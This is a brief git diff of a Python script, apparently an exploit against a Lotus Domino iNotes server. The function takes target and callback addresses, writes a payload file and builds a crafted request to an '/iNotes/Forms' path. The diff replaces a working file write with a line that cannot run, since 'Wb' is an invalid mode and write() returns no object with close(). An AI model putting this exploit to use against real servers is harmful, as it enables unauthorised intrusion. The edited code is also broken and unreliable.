diff --git a/xp.py b/xp.py index 5d48b8c..74d3b7b 100644 --- a/xp.py +++ b/xp.py @@ -49,8 +49,9 @@ def clap(host, port, yourip, yourport): print(f"+ curr: {currsize}") - with open("payload.bin", "wb") as f: - f.write(niceone) + # with open("payload.bin", "wb") as f: + # f.write(niceone) + open("payload.bin", "Wb").write(niceone).close() request = b'GET /iNotes/Forms%d.nsf// HTTP/1.0\r\n' request += f'Host: {host}\r\n'.encode()